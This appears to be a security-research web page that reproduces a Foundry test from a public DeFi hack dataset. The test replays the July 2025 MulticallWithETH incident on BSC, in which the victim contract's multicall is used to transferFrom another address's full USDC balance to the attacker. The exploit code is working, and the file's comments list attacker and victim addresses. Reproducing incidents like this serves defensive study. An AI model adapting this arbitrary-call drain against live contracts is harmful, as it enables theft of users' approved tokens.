Skip to content
THREATWIRE

Public reproduction file

src/test/2025-07/MulticallWithETH_exp.sol

Public reproduction file for dataset entry MulticallWithETH.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/MulticallWithETH_exp.sol51 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4
5import "forge-std/Test.sol";
6import "../interface.sol";
7
8// @KeyInfo - Total Lost : ~10 K usdt
9// Original Attacker : https://bscscan.com/address/0x726fb298168c89d5dce9a578668ab156c7e7be67
10// Attack Contract : https://bscscan.com/address/0x756d614e3d277baea260f64cc2ab9a3ac89877d3
11// Vulnerable Contract: https://bscscan.com/address/0x3da0f00d5c4e544924bc7282e18497c4a4c92046
12// Attack Tx : https://bscscan.com/tx/0x6da7be6edf3176c7c4b15064937ee7148031f92a4b72043ae80a2b3403ab6302
16contract MulticallWithETH is Test {
17 address USDC = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;
18 address victim=0x3DA0F00d5c4E544924bC7282E18497C4A4c92046;
20 struct Call {
21 address target;
22 bytes callData;
23 uint256 value;
24 bool allowFailure;
25 }
28 function setUp() public {
29 vm.createSelectFork("bsc", 55371342);
30 }
32 function testExploit() public {
33 bytes memory data=abi.encodeWithSelector(0x23b872dd,address(0xfb0De204791110Caa5535aeDf4E71dF5bA68A581),address(this),IERC20(USDC).balanceOf(address(0xfb0De204791110Caa5535aeDf4E71dF5bA68A581)));
34 Call[] memory call = new Call[](1);
35 call[0] = Call({
36 target: address(USDC),
37 callData: data,
38 value: 0,
39 allowFailure: false
40 });
44 address(victim).call(abi.encodeWithSelector(0xc9586258, call));
46 emit log_named_decimal_uint("Balance after the attack",IERC20(USDC).balanceOf(address(this)), 18);
47 }

Analysis

Dataset entry

Public Foundry test for “MulticallWithETH” (2025-07-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attack Contract

    0x756d614e3d277baea260f64cc2ab9a3ac89877d3

  • Vulnerable Contract

    0x3da0f00d5c4e544924bc7282e18497c4a4c92046

  • Attack Tx

    0x6da7be6edf3176c7c4b15064937ee7148031f92a4b72043ae80a2b3403ab6302

File record

Name
MulticallWithETH
Path
src/test/2025-07/MulticallWithETH_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
da3e3e0ffaf62cd14cdb16b59de88f5784f3213c
Language
Solidity
Size
52 lines
Date
2025-07-26
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-07/MulticallWithETH_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob da3e3e0ffaf62cd14cdb16b59de88f5784f3213c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.